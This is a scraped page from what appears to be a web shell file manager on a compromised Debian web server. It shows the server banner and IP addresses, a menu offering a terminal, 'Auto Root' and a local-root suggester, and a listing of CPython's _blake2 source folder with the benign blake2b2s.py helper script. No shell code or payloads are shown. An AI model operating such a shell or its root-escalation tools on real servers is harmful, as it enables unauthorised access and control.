Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
Python-3.10.14 /
Modules /
_blake2 /
Delete
Unzip
Name
Size
Permission
Date
Action
clinic
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
impl
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
blake2b2s.py
1.18
KB
-rwxr-xr-x
2024-03-19 22:46
blake2b_impl.c
11.22
KB
-rw-r--r--
2024-03-19 22:46
blake2module.c
3.8
KB
-rw-r--r--
2024-03-19 22:46
blake2ns.h
1.31
KB
-rw-r--r--
2024-03-19 22:46
blake2s_impl.c
11.22
KB
-rw-r--r--
2024-03-19 22:46
Save
Rename
#!/usr/bin/python3 import os import re HERE = os.path.dirname(os.path.abspath(__file__)) BLAKE2 = os.path.join(HERE, 'impl') PUBLIC_SEARCH = re.compile(r'\ int (blake2[bs]p?[a-z_]*)\(') def getfiles(): for name in os.listdir(BLAKE2): name = os.path.join(BLAKE2, name) if os.path.isfile(name): yield name def find_public(): public_funcs = set() for name in getfiles(): with open(name) as f: for line in f: # find public functions mo = PUBLIC_SEARCH.search(line) if mo: public_funcs.add(mo.group(1)) for f in sorted(public_funcs): print('#define {0:<18} PyBlake2_{0}'.format(f)) return public_funcs def main(): lines = [] with open(os.path.join(HERE, 'blake2b_impl.c')) as f: for line in f: line = line.replace('blake2b', 'blake2s') line = line.replace('BLAKE2b', 'BLAKE2s') line = line.replace('BLAKE2B', 'BLAKE2S') lines.append(line) with open(os.path.join(HERE, 'blake2s_impl.c'), 'w') as f: f.write(''.join(lines)) # find_public() if __name__ == '__main__': main()